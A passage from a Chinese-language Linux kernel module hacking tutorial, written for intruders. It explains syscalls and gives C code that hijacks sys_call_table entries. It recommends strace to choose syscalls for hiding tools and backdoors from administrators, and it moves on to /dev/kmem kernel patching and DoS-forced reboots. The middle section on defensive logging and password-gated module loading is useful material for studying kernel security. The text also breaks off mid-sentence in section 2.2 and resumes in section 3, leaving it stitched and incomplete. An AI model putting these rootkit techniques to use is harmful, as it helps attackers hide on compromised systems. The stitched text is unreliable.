LKM完全指南 (收集得比较全了)
简介 将Linux操作系统用于服务器在现在是越来越普遍了。因此,入侵Linux在今天也变得越来越有趣.目前最好的攻击Linux的技术就是修改内核代码.由于一种叫做可卸载内核(Loadable KernelModules(LKMs))的机制,我们有可能编写在内核级别运行的代码,而这种代码可以允许我们接触到操作系统中非常敏感的部分.在过去有一些很好的关于LKM知识的文本或者文件,他们介绍一
·
简介
将Linux操作系统用于服务器在现在是越来越普遍了。因此,入侵Linux在今天也变得越来越有趣.目前最好的攻击Linux的技术就是修改内核代码.由于一种叫做可卸载内核(Loadable
KernelModules(LKMs))的机制,我们有可能编写在内核级别运行的代码,而这种代码可以允许我们接触到操作系统中非常敏感的部分.在过去有一些很好的关于LKM知识的文本或者文件,他们介绍一些新的想法,方法以及一名Hacker所梦寐以求的完整的LKMs.而且也有一些很有趣的公开的讨论(在新闻组,邮件列表).
然而为什么我再重新写这些关于LKMs的东西呢?下面是我的一些理由:
在过去的教材中常常没有为那些初学者提供很好的解释.而这个教材中有很大一部分的基础章节.这是为了帮助那些初学者理解概念的.我见过很多人使用系统的缺陷或者监听器然而却丝毫不了解他们是如何工作的.在这篇文章中我包含了很多带有注释的源代码,只是为了帮助那些认为入侵仅仅是一些工具游戏的初学者!
每一个发布的教材不过把话题集中在某个特别的地方.没有一个完整的指导给那些关注LKMs的Hacker.这篇文章会覆盖几乎所有的关于LKMs的资料(甚至是病毒方面的).
这篇文章是从Hacker或者病毒的角度进行讨论的,但是系统管理员或者内核的开发者也可以参考并从中学到很多东西. 网管网www.bitscn.com
以前的文章介绍一些利用LKMs进行入侵的优点或者方法,但是总是还有一些东西是我们过去从来没有听说过的.这篇文章会介绍一些新的想法给大家.(不是所有的新的资料,只是一些对我们有帮助的)
这篇文章会介绍一些简单的防止LKM攻击的方法,同时也会介绍如何通过使用一些像运行时内核补丁(Runtime Kernel Patching)这样的方法来对付这些防御措施.
要记住这些新的想法仅仅是通过利用一些特殊的模块来实现的.要在现实中真正使用他们还需要对他们进行改进.这篇文章的主要目的是给大家在整个LKM上一个大方向上的指导.在附录A中,我会给大家一些实用的LKMs,并附上一些简短的注释(这是为那些新手的),以及如何使用他们.
整篇文章(除了第五部分)是基于 Linux 2.0.x的80x86机器的.我测试了所有的程序和代码段.为了能够正常使用这里提供的绝大部分代码,你的Linux系统必须有LKM支持.只有在第四部分会给大家一些不需要LKM支持的源代码.本文的绝大多数想法一样可以在Linux2.2.x上实现(也许你会需要一些小小的改动).
这篇文章会有一个特别的章节来帮助系统管理员进行系统安全防护.你(作为一名Hacker)也必须仔细阅读这些章节.你必须要知道所有系统管理员知道的,甚至更多.你也会从中发现很多优秀的想法.这也会对你开发高级的入侵系统的LKMs有所帮助. 网管联盟bitsCN_com
因此,通读这篇文章吧.
第一部分. 基础知识
1.1 什么是LKMs
LKMs就是可卸载的内核模块(Loadable Kernel
Modules)。这些模块本来是Linux系统用于扩展他的功能的。使用LKMs的优点有:他们可以被动态的加载,而且不需要重新编译内核。由于这些优点,他们常常被特殊的设备(或者文件系统),例如声卡等使用。
每个LKM至少由两个基本的函数组成:
int init_module(void) /*用于初始化所有的数据*/
{
...
}
void cleanup_module(void) /*用于清除数据从而能有一个安全的退出*/
{
...
}
加载一个模块(常常只限于root能够使用)的命令是:
# insmod module.o
这个命令让系统进行了如下工作:
加载可执行的目标文件(在这儿是module.o)
调用 create_module这个系统调用(至于什么叫系统调用,见1.2)来分配内存.
不能解决的引用由系统调用get_kernel_syms进行查找引用.
在此之后系统调用init_module将会被调用用来初始化LKM->执行 int inti_module(void) 等等
中国网管联盟bitsCN.com
(内核符号将会在1.3节中内核符号表中解释)
OK,到目前为止,我想我们可以写出我们第一个小的LKM来演示一下这些基本的功能是如何工作的了.
#define MODULE
#include
int init_module(void)
{
printk("<1>Hello World/n");
return 0;
}
void cleanup_module(void)
{
printk("<1>Bye, Bye");
}
你可能会奇怪为什么在这里我用printk(....)而不是printf(.....).在这里你要明白内核编程是完全不同于普通的用户环境下的编程的.你只能使用很有限的一些函数(见1.6)仅使用这些函数你是干不了什么的.因此,你将会学会如何使用你在用户级别中用的那么多函数来帮助你入侵内核. 耐心一些,在此之前我们必须做一点其他的.....
上面的那个例子可以很容易的被编译:
# gcc -c -O3 helloworld.c
# insmod helloworld.o
OK,现在我们的模块已经被加载了并且给我们打印出了那句很经典的话.现在你可以通过下面这个命令来确认你的LKM确实运行在内核级别中: 网管网www.bitscn.com
# lsmod
Module Pages Used by
helloworld 1 0
这个命令读取在 /proc/modules 的信息来告诉你当前那个模块正被加载.'Pages'
显示的是内存的信息(这个模块占了多少内存页面).'Used by'显示了这个模块被系统
使用的次数(引用计数).这个模块只有当这个计数为0时才可以被除去.在检查过这个以后,你可以用下面的命令卸载这个模块
# rmmod helloworld
OK,这不过是我们朝LKMs迈出的很小的一步.我常常把这些LKMs于老的DOS TSR程序做比较,(是的,我知道他们之间有很多地方不一样),那些TSR能够常驻在内存并且截获到我们想要的中断.Microsoft's Win9x有一些类似的东西叫做VxD.关于这些程序的最有意思的一点在于他们都能够挂在一些系统的功能上,在Linux中我们称这些功能为系统调用.
1.2什么是系统调用
我希望你能够懂,每个操作系统在内核中都有一些最为基本的函数给系统的其他操作调用.在Linux系统中这些函数就被称为系统调用(System Call).他们代表了一个从用户级别到内核级别的转换.在用户级别中打开一个文件在内核级别中是通过sys_open这个系统调用实现的.在 /usr/include/sys/syscall.h中有一个完整的系统调用列表.下面的列表是我的syscall.h
网管联盟bitsCN@com
#ifndef _SYS_SYSCALL_H
#define _SYS_SYSCALL_H
#define SYS_setup 0
/* 只被init使用,用来启动系统的*/
#define SYS_exit 1
#define SYS_fork 2
#define SYS_read 3
#define SYS_write 4
#define SYS_open 5
#define SYS_close 6
#define SYS_waitpid 7
#define SYS_creat 8
#define SYS_link 9
#define SYS_unlink 10
#define SYS_execve 11
#define SYS_chdir 12
#define SYS_time 13
#define SYS_prev_mknod 14
#define SYS_chmod 15
#define SYS_chown 16
#define SYS_break 17
#define SYS_oldstat 18
#define SYS_lseek 19
#define SYS_getpid 20
#define SYS_mount 21
#define SYS_umount 22
#define SYS_setuid 23
#define SYS_getuid 24
网管bitscn_com
#define SYS_stime 25
#define SYS_ptrace 26
#define SYS_alarm 27
#define SYS_oldfstat 28
#define SYS_pause 29
#define SYS_utime 30
#define SYS_stty 31
#define SYS_gtty 32
#define SYS_access 33
#define SYS_nice 34
#define SYS_ftime 35
#define SYS_sync 36
#define SYS_kill 37
#define SYS_rename 38
#define SYS_mkdir 39
#define SYS_rmdir 40
#define SYS_dup 41
#define SYS_pipe 42
#define SYS_times 43
#define SYS_prof 44
#define SYS_brk 45
#define SYS_setgid 46
#define SYS_getgid 47
#define SYS_signal 48
#define SYS_geteuid 49
#define SYS_getegid 50
#define SYS_acct 51
#define SYS_phys 52
#define SYS_lock 53
#define SYS_ioctl 54
#define SYS_fcntl 55
#define SYS_mpx 56
#define SYS_setpgid 57
#define SYS_ulimit 58
#define SYS_oldolduname 59
#define SYS_umask 60
#define SYS_chroot 61
#define SYS_prev_ustat 62
#define SYS_dup2 63
#define SYS_getppid 64
#define SYS_getpgrp 65
#define SYS_setsid 66
#define SYS_sigaction 67
#define SYS_siggetmask 68
#define SYS_sigsetmask 69
#define SYS_setreuid 70
#define SYS_setregid 71
#define SYS_sigsuspend 72
#define SYS_sigpending 73
#define SYS_sethostname 74
#define SYS_setrlimit 75
#define SYS_getrlimit 76
#define SYS_getrusage 77
#define SYS_gettimeofday 78
#define SYS_settimeofday 79
#define SYS_getgroups 80
#define SYS_setgroups 81
#define SYS_select 82
#define SYS_symlink 83
#define SYS_oldlstat 84
#define SYS_readlink 85
#define SYS_uselib 86
#define SYS_swapon 87
#define SYS_reboot 88
#define SYS_readdir 89
#define SYS_mmap 90
#define SYS_munmap 91
#define SYS_truncate 92
#define SYS_ftruncate 93
#define SYS_fchmod 94
#define SYS_fchown 95
#define SYS_getpriority 96
#define SYS_setpriority 97
#define SYS_profil 98
#define SYS_statfs 99
#define SYS_fstatfs 100
#define SYS_ioperm 101
#define SYS_socketcall 102
#define SYS_klog 103
#define SYS_setitimer 104
#define SYS_getitimer 105
#define SYS_prev_stat 106
#define SYS_prev_lstat 107
#define SYS_prev_fstat 108
#define SYS_olduname 109
#define SYS_iopl 110
#define SYS_vhangup 111
#define SYS_idle 112
#define SYS_vm86old 113
#define SYS_wait4 114
#define SYS_swapoff 115
#define SYS_sysinfo 116
#define SYS_ipc 117
#define SYS_fsync 118
#define SYS_sigreturn 119
#define SYS_clone 120
#define SYS_setdomainname 121
#define SYS_uname 122
#define SYS_modify_ldt 123
#define SYS_adjtimex 124
#define SYS_mprotect 125
#define SYS_sigprocmask 126
#define SYS_create_module 127
#define SYS_init_module 128
#define SYS_delete_module 129
#define SYS_get_kernel_syms 130
#define SYS_quotactl 131
#define SYS_getpgid 132
#define SYS_fchdir 133
#define SYS_bdflush 134
#define SYS_sysfs 135
#define SYS_personality 136
#define SYS_afs_syscall 137
#define SYS_setfsuid 138
#define SYS_setfsgid 139
#define SYS__llseek 140
#define SYS_getdents 141
#define SYS__newselect 142
#define SYS_flock 143
#define SYS_syscall_flock SYS_flock
#define SYS_msync 144
#define SYS_readv 145
#define SYS_syscall_readv SYS_readv
#define SYS_writev 146
#define SYS_syscall_writev SYS_writev
#define SYS_getsid 147
#define SYS_fdatasync 148
#define SYS__sysctl 149
#define SYS_mlock 150
#define SYS_munlock 151
#define SYS_mlockall 152
#define SYS_munlockall 153
#define SYS_sched_setparam 154
#define SYS_sched_getparam 155
#define SYS_sched_setscheduler 156
#define SYS_sched_getscheduler 157
#define SYS_sched_yield 158
#define SYS_sched_get_priority_max 159
#define SYS_sched_get_priority_min 160
#define SYS_sched_rr_get_interval 161
#define SYS_nanosleep 162
#define SYS_mremap 163
#define SYS_setresuid 164
#define SYS_getresuid 165
#define SYS_vm86 166
#define SYS_query_module 167
#define SYS_poll 168
#define SYS_syscall_poll SYS_poll
#endif /* */
每个系统调用都有一个预定义的数字(见上表),那实际上是用来进行这些调用的.内核通过中断0x80来控制每一个系统调用.这些系统调用的数字以及任何参数都将被放入某些寄存器(eax用来放那些代表系统调用的数字,比如说)
那些系统调用的数字是一个被称之为sys_call_table[]的内核中的数组结构的索引值.这个结构把系统调用的数字映射到实际使用的函数.
OK,这些是继续阅读所必须的足够知识了.下面的表列出了那些最有意思的系统调用以及一些简短的注释.相信我,为了你能够真正的写出有用的LKM你必须确实懂得那些系统调
用是如何工作的.
系统调用列表:
int sys_brk(unsigned long new_brk);
改变DS(数据段)的大小->这个系统调用会在1.4中讨论
int sys_fork(struct pt_regs regs);
著名的fork()所用的系统调用
int sys_getuid ()
int sys_setuid (uid_t uid)
用于管理UID等等的系统调用
int sys_get_kernel_sysms(struct kernel_sym *table)
用于存取系统函数表的系统调用(->1.3)
int sys_sethostname (char *name, int len);
int sys_gethostname (char *name, int len);
sys_sethostname是用来设置主机名(hostname)的,sys_gethostname是用来取的
int sys_chdir (const char *path);
int sys_fchdir (unsigned int fd);
两个函数都是用于设置当前的目录的(cd ...)
int sys_chmod (const char *filename, mode_t mode);
int sys_chown (const char *filename, mode_t mode);
int sys_fchmod (unsigned int fildes, mode_t mode);
int sys_fchown (unsigned int fildes, mode_t mode);
用于管理权限的函数
int sys_chroot (const char *filename);
用于设置运行进程的根目录的
int sys_execve (struct pt_regs regs);
非常重要的系统调用->用于执行一个可执行文件的(pt_regs是堆栈寄存器)
long sys_fcntl (unsigned int fd, unsigned int cmd, unsigned long arg);
改变fd(打开文件描述符)的属性的
int sym_link (const char *oldname, const char *newname);
int sys_unlink (const char *name);
用于管理硬/软链接的函数
int sys_rename (const char *oldname, const char *newname);
用于改变文件名
int sys_rmdir (const char* name);
int sys_mkdir (const *char filename, int mode);
用于新建已经删除目录
int sys_open (const char *filename, int mode);
int sys_close (unsigned int fd);
所有和打开文件(包括新建)有关的操作,还有关闭文件的.
int sys_read (unsigned int fd, char *buf, unsigned int count);
int sys_write (unsigned int fd, char *buf, unsigned int count);
读写文件的系统调用
int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);
用于取得文件列表的系统调用(ls...命令)
int sys_readlink (const char *path, char *buf, int bufsize);
读符号链接的系统调用
int sys_selectt (int n, fd_set *inp, fd_set *outp, fd_set *exp, struct timeval *tvp);
多路复用I/O操作
sys_socketcall (int call, unsigned long args);
socket 函数
unsigned long sys_create_module (char *name, unsigned long size);
int sys_delete_module (char *name);
int sys_query_module (const char *name, int which, void *buf, size_t bufsize,
size_t *ret);
用于模块的加载/卸载和查询.
以上就是我认为入侵者会感兴趣的系统调用.当然如果要获得系统的root权你有可能需要一些特殊的系统调用,但是作为一个hacker他很可能会拥有一个上面列出的最基本的列表.在第二部分中你会知道如何利用这些系统调用来实现你自己的目的.
第二部分 渐入佳境
2.1 怎么样截获系统调用
现在我们开始入侵LKM,在正常情况下LKMs是用来扩展内核的(特别是那些硬件驱动)。然而我们的‘Hacks’做一些不一样的事情。他们会截获系统调用并且更改他们,为了改变系统某些命令的响应方式。
下面的这个模块可以使得任何用户都不能创建目录。这只不过是我们随后方法的一个小小演示。
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
extern void* sys_call_table[];
/*sys_call_talbe 被引入,所以我们可以存取他*/
int (*orig_mkdir)(const char *path);
/*原始系统调用*/
int hacked_mkdir(const char *path)
{
return 0;
/*其他一切正常,除了新建操作,该操作什么也不做*/
}
int init_module(void)
/*初始化模块*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_mkdir]=orig_mkdir;
/*恢复mkdir系统调用到原来的哪个*/
}
编译并启动这个模块(见1.1)。然后尝试新建一个目录,你会发现不能成功。由于返回值是0(代表一切正常)我们得不到任何出错信息。在移区模块之后,我们又可以新建目录了。正如你所看到的,我们只需要改变sys_call_table(见1.2)中相对应的入口就可以截获到系统调用了。
截获系统调用的通常步骤如下:
找到你需要的系统调用在sys_call_table[]中的入口(看一眼include/sys/syscall.h)
保存sys_call_table[x]的旧入口指针。(在这里x代表你所想要截获的系统调用的索引)
把你自己定义的新的函数指针存入sys_call_table[x]
你会意识到保存旧的系统调用指针是十分有用的,因为在你的新调用中你会需要他来模拟原始调用。当你在写一个'Hack-LKM'时你所面对的第一个问题是:
我到底该截获哪个系统调用?
2.2一些有趣的系统调用
你并不是一个管理内核的上帝,因此你不知道每一个用户的应用程序或者命令到底使用了那些系统调用。因此我会给你一些提示来帮助你找到获得控制的系统调用。
读源代码。在一个象linux这样的系统中,你可以找到任何一个用户(或者管理员)所用的程序的源代码。一旦你发现了某个基本的函数,像dup,open,write.....转向b
下面看看include/sys/syscall.h(见1.2)。试着去直接找相对应的系统调用(查找dup->你就会发现SYS_dup,查找write,你就会发现SYS_write;....)。如果没有找到转向c
一些象socket,send,receive,....这样的调用并不是通过一个系统调用实现的--正如我以前说过的那样。这时就要看一看包含相关系统调用的头文件。
要记住并不是每一个c库里面的函数都是系统调用。绝大多数这样的函数和系统调用毫无关系。一个稍微有一点经验的hacker会看看1.2里面的列表,那已经提供了足够的信息。
例如你要知道用户id管理是通过uid的系统调用实现的等等。如果你真的想确定你可以看看库函数/内核的源代码。
最困难的问题是一个系统管理员写了自己的应用程序来检查系统的完整性或者安全性。关于这些程序的问题在于缺乏源代码。
我们不能确定这个程序到底是怎么样工作的以及我们应该截获那些系统调用来隐藏我们的礼物/工具。甚至有可能他引入了一个截获hacker们经常使用的系统调用的LKM来隐藏他自己,并检查系统的安全性(系统管理员们经常使用一些黑客技术来保护他们的系统)。
那我们应该怎么样继续呢?
2.2.1 发现有趣的系统调用(strace方法)
假定你已经知道了某个系统管理员用来检查系统的程序(这个可以通过某些其他的方法得到,象TTY hijacking(见2.9/appendixa),现在唯一的问题是你需要让你的礼物躲过系统管理员的程序直到.....)。
好,现在用strace来运行这个程序(也许你需要root权限来执行他)
# strace super_admin_proggy
这会给你一个十分棒的关于这个程序的每个系统调用的输出。这些系统调用有可能都要加入到你的hacking LKM当中去。我并没有一个这样的管理程序作为例子给你看。但是我们可以看看’strace whoami‘的输出:
execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x40007000
mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY) = 3
mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000
close(3) = 0
stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or
directory)
open("/lib/libc.so.5", O_RDONLY) = 3
read(3, "/177ELF/1/1/1/0/0/0/0/0/0/0/0/0/3"..., 4096) = 4096
mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000
mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0)
= 0x4000c000
mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
0x81000) = 0x4008e000
mmap(0x40094000, 204536, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000
close(3) = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
munmap(0x40008000, 13363) = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0
mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0
personality(PER_LINUX) = 0
geteuid() = 500
getuid() = 500
getgid() = 100
getegid() = 100
brk(0x804aa48) = 0x804aa48
brk(0x804b000) = 0x804b000
open("/usr/share/locale/locale.alias", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x40008000
read(3, "# Locale name alias data base/n#"..., 4096) = 2005
brk(0x804c000) = 0x804c000
read(3, "", 4096) = 0
close(3) = 0
munmap(0x40008000, 4096) = 0
open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file
or directory)
open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0
mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000
close(3) = 0
geteuid() = 500
open("/etc/passwd", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x4000b000
read(3, "root:x:0:0:root:/root:/bin/bash/n"..., 4096) = 1074
close(3) = 0
munmap(0x4000b000, 4096) = 0
fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x4000b000
write(1, "r00t/n", 5r00t
) = 5
_exit(0) = ?
这确实是一个非常美妙的关于命令’whoami‘的系统调用列表,不是么?在这里为了控制’whoami‘的输出需要拦截4个系统调用
geteuid() = 500
getuid() = 500
getgid() = 100
getegid() = 100
可以看看2.6的哪个程序的实现。这种分析程序的方法对于显示其他基本工具的信息也是十分重要的。
我希望现在你能够找到那些能够帮助你隐藏你自己的,或者做系统后门,或者任何你想做的事情的系统调用.的可执行文件也适用)
如果你有了源代码,要仔细检查他们(如果你能够的话)。还记得tcpd木马问题吗?大的软件包很复杂,因此很难看懂。但是如果你需要一个安全的系统,你必须分析源代码。
甚至你已经遵守了这些原则,你的系统还是有可能被别人闯入并放置LKM(比如说溢出等等)。
因此,可以考虑用一个LKM记录每一个模块的加载,并且拒绝任何一个不是从指定安全安全目录的模块的加载企图。(为了防止简单的溢出。不存在完美的方法...)。记录功能可以通过拦截create_module(...)来很轻易的实现。用同样的方法你也可以检查模块加载的目录。
当然拒绝任何的模块的加载也是有可能的。但是这是一个很坏的方法。因为你确实需要他们。因此我们可以考虑改变模块的加载方式,比如说要一个密码。密码可以在你控制的create-module(...)里面检查。如果密码正确,模块就会被加载,否则,模块被丢弃。
要注意的是你必须掩藏你的模块并使他不可以被卸栽。因此,让我们来看看一些记录LKM和密码保护的实现的原型。(通过保护的create_module(...)系统调用)。
3.1.1 一个使用的检测器的原形
对于这个简单的例子,没有什么可以说的。只不过是拦截了sys_create_module(...)并且记录下了加载的模块的名字。
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
extern void* sys_call_table[];
int (*orig_create_module)(char*, unsigned long);
int hacked_create_module(char *name, unsigned long size)
{
char *kernel_name;
char hide[]="ourtool";
int ret;
kernel_name = (char*) kmalloc(256, GFP_KERNEL);
memcpy_fromfs(kernel_name, name, 255);
/*这里我们向syslog记录,但是你可以记录到任何你想要的地方*/
printk("<1> SYS_CREATE_MODULE : %s/n", kernel_name);
ret=orig_create_module(name, size);
return ret;
}
int init_module(void)
/*初始化模块*/
{
orig_create_module=sys_call_table[SYS_create_module];
sys_call_table[SYS_create_module]=hacked_create_module;
return 0;
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_create_module]=orig_create_module;
}
这就是所有你需要的。当然,你必须加一些代码来隐藏这个模块,这个应该没有问题。在使得这个模块不可以被卸载以后,一个hacker只可以改变记录文件了。但是你也可以把你的记录文件存到一个不可被接触的文件中去(看2.1来获得相关的技巧).当然,你也可以拦截sys_init_module (...)来显示每一个模块。这不过是一个品位问题。
3.1.2 一个密码保护的create_module(...)的例子
这一节我们会讨论怎么样给一个模块的加载加入密码校验。我们需要两件事情来完成这项任务:
一个检查模块加载的方法(容易)
一个校验的方法(相当的难)
第一点是十分容易实现的。只需要拦截sys_create_module(...),然后检查一些变量,内核就会知道这次加载是否合法了。
但是怎么样进行校验呢?我必须承认我没有花多少时间在这个问题上。因此这个方案并不是太好。但是这是一篇LKM的文章,因此,使用你的头脑去想一些更好的办法。我的方法是,拦截stat(...)系统调用。当你敲任何命令时,系统需要搜索他,stat就会被调用。
因此,在敲命令的同时敲一个密码,LKM会在拦截下的stat系统调用中检查他.[我知道这很不安全;甚至一个Linuxstarter都可以击败这种机制.但是(再一次的)这并不是这里的重点....].看看我的实现(我从plaguez的一个类似的LKM中直接抢过来了很多现存的代码....)
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
extern void* sys_call_table[];
/*如果lock_mod=1 就是允许加载一个模块*/
int lock_mod=0;
int __NR_myexecve;
/*拦截create_module(...)和stat(...)系统调用*/
int (*orig_create_module)(char*, unsigned long);
int (*orig_stat) (const char *, struct old_stat*);
char *strncpy_fromfs(char *dest, const char *src, int n)
{
char *tmp = src;
int compt = 0;
do {
dest[compt++] = __get_user(tmp++, 1);
}
while ((dest[compt - 1] != '/0') && (compt != n));
return dest;
}
int hacked_stat(const char *filename, struct old_stat *buf)
{
char *name;
int ret;
char *password = "password";
/*yeah,一个很好的密码*/
name = (char *) kmalloc(255, GFP_KERNEL);
(void) strncpy_fromfs(name, filename, 255);
/*有密码么?*/
if (strstr(name, password)!=NULL)
{
/*一次仅允许加载一个模块*/
lock_mod=1;
kfree(name);
return 0;
}
else
{
kfree(name);
ret = orig_stat(filename, buf);
}
return ret;
}
int hacked_create_module(char *name, unsigned long size)
{
char *kernel_name;
char hide[]="ourtool";
int ret;
if (lock_mod==1)
{
lock_mod=0;
ret=orig_create_module(name, size);
return ret;
}
else
{
printk("<1>MOD-POL : Permission denied !/n");
return 0;
}
return ret;
}
int init_module(void)
/*初始化模块*/
{
__NR_myexecve = 200;
while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
__NR_myexecve--;
sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve];
orig_stat=sys_call_table[SYS_prev_stat];
sys_call_table[SYS_prev_stat]=hacked_stat;
orig_create_module=sys_call_table[SYS_create_module];
sys_call_table[SYS_create_module]=hacked_create_module;
printk("<1>MOD-POL LOADED.../n");
return 0;
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_prev_stat]=orig_stat;
sys_call_table[SYS_create_module]=orig_create_module;
}
代码本身很清楚.下面把会告诉你怎么样才能让你的LKM更安全,也许这有一些多疑了
使用另外一种检验方式(使用你自己的用户空间接口,使用你自己的系统调用;使用用户的ID(而不仅仅是普通的密码);也许你有一个生物监测设备->读一些文档并且在linux下编写自己的设备驱动,然后使用他
...)但是,要记住:哪怕是最安全的硬件保护(软件狗,生物监测系统,一些硬件卡)也常常脆弱的不安全的软件而被击败.你可以使用一种这样的机制来让你的系统变得安全:用一块硬件卡来控制你的整个内核。
另外一种不这么极端的方法可以是写你自己的系统调用来负责校验.(见2.11,那里有一个创建一个你自己的系统调用的例子)
找到一个更好的方法在sys_create_module(...)中进行检查.检查一个变量并不是十分的安全.如果某些人控制了你的系统.他是可以修改内存的(见下一章)
找到一个方法使得一个入侵者没有办法通过你的校验来加载他的LKM
加入隐藏的功能。
有很多工作可以做.但是即使有了这些工作,你的系统也不是完全就是安全的.如果某些人控制了你的系统,他是可以发现一些方法来加载他的LKM的(见下一章);甚至他并不需要一个LKM,因为他只是控制了这个系统,并不想隐藏文件或者进程(和其他的LKM提供的美妙的功能)。
3.2 防止LKM传染者的方法
内存驻留的扫描程序(实时的)(就像DOS下的TSR病毒扫描;或者WIN9x下的VxD病毒扫描)
文件检查扫描器(检查模块文件里面的特征字串)
第一种方法可以通过拦截sys_create_module实现(或者init_module调用).第二种方法需要一些模块文件的特征字串.因此我们必须检查两个elf文件头或者标志位.当然,其他的一些LKM传染者可能使用一些改进了的方法.(加密,自我更改代码等等).我不会提供一个检查文件的扫描器.因为你只不过需要写一个小的用户空间的程序来读进模块文件,并且检查两种elf文件头('ELF'字符串,比如)
第四部分 一些更好的想法
4.1 击败系统管理员的LKM的方法
这一部分会给我们对付一些使用LKM保护内核的多疑(好的)的管理员的方法。在解释了所有系统管理员能够使用的方法之后,很难为我们(hackers)找到一个更好的办法。我们需要离开LKM一会儿,来寻找击败这些困难的保护的方法。
假定一个系统可以被管理员安装上一个十分好的大范围的监视的LKM,他可以检查那个系统的每一个细节。他可以做到第二或者第三部分提到的所有事情。
第一种除掉这些LKM的方法可以是重新启动系统。也许管理员并没有在启动文件里面加载这些LKM。因此,试一些DoS攻击或者其他的。如果你还不能除去这个LKM就看看其他的一些重要文件。但是要仔细,一些文件有可能是被保护或者监视的(见附录A,里面有一个类似的LKM)。
假如你真的找不到LKM是在那里加载的等等,不要忘记系统是已经安装了一个后门的。这样你就不可以隐藏文件或者进程了。但是如果一个管理员真正使用了这么一个超级的LKM,忘记这个系统吧。你可能遇到真正的好的对手并且将会有麻烦。对于那些确实想击败这个系统的,读第二小节。
4.2 修补整个内核-或者创建Hacker-OS
[注意:这一节听上去可能有一些离题了。但是在最后我会给出一个很漂亮的想法(Silvio Cesare写的程序也可以帮助我们使用我们的LKM。这一节只会给出整个内核问题的一个大概的想法,因为我只需要跟随Sivio Cesare的想法]
OK,LKM是很好的。但是如果系统管理员喜欢在5。1中提到的想法。他做了很多来阻止我们使用我们在第二部分学到的美妙的LKM技术。他甚至修补他自己的内核来使他的系统安全。他使用一个不需要LKM支持的内核。
因此,现在到了我们使用我们最后一招的时候了:运行时内核补丁。最基本的想法来自我发现的一些源程序(比如说Kmemthief),还有Silvio Cesare的一个描述如何改变内核符号的论文。
在我看来,这种攻击是一种很强大的'内核入侵'。我并不是懂得每一个Un*x,但是这种方法可以在很多系统上使用。这一节描述的是运行时内核补丁。但是为什么不谈谈内核文件补丁呢?每一个系统有一个文件来代表内核,在免费的系统中,像FreeBSD,Linux,改变一个内核文件是很容易的。但是在商业系统中呢?我从来没有试过。
但是我想这会是很有趣的:想象通过一个内核的补丁作为系统的后门.你只好重新启动系统或者等待一次启动。每个系统都需要启动。但是这个教材只会处理运行时的补丁方式。你也许说这个教材叫入侵Linux可卸载内核模块,并且你不想知道如何补丁整个内核。好的,这一节将会教会我们如何'insmod'LKM到一个十分安全的,或者没有LKM支持的系统。因此我们还是学到了一些和LKM有关的东西了。
因此,让我们开始我们最为重要的必须处理的东西,如果我们想学习RKP(Runtime Kernel Patching)的话。这就是/dev/kmem文件。他可以帮助我们看到(并且更改)整个我们的系统的虚拟内存。[注意:这个RKP方法在通常情况下是十分有用的,如果你控制了那个系统以后。只有非常不安全的系统才会让普通用户存取那个文件]。
正如我所说的,/dev/kmem可以使我们有机会看到我们系统中的每一个内存字节(包括swap)。这意味着我们可以存取整个内存,这就允许我们操纵内存中的每一个内核元素。(因为内核只是加载到系统内存的目标代码)。记住/proc/ksyms文件记录了每一个输出的内核符号的地址。
因此我们知道如何才能通过更改内存来控制一些内核符号。下面让我们来看看一个很早就知道的很基本的例子。下面的(用户空间)的程序获得了 task_structure的地址和某一个PID.在搜索了代表某个PID的任务结构以后,他改变了每个用户的ID域使得UID=0。当然,今天这样的程序是毫无用处的。因为绝大多数的系统不会允许一个普通的用户去读取/dev/kmem。但是这是一个关于RKP的好的介绍。
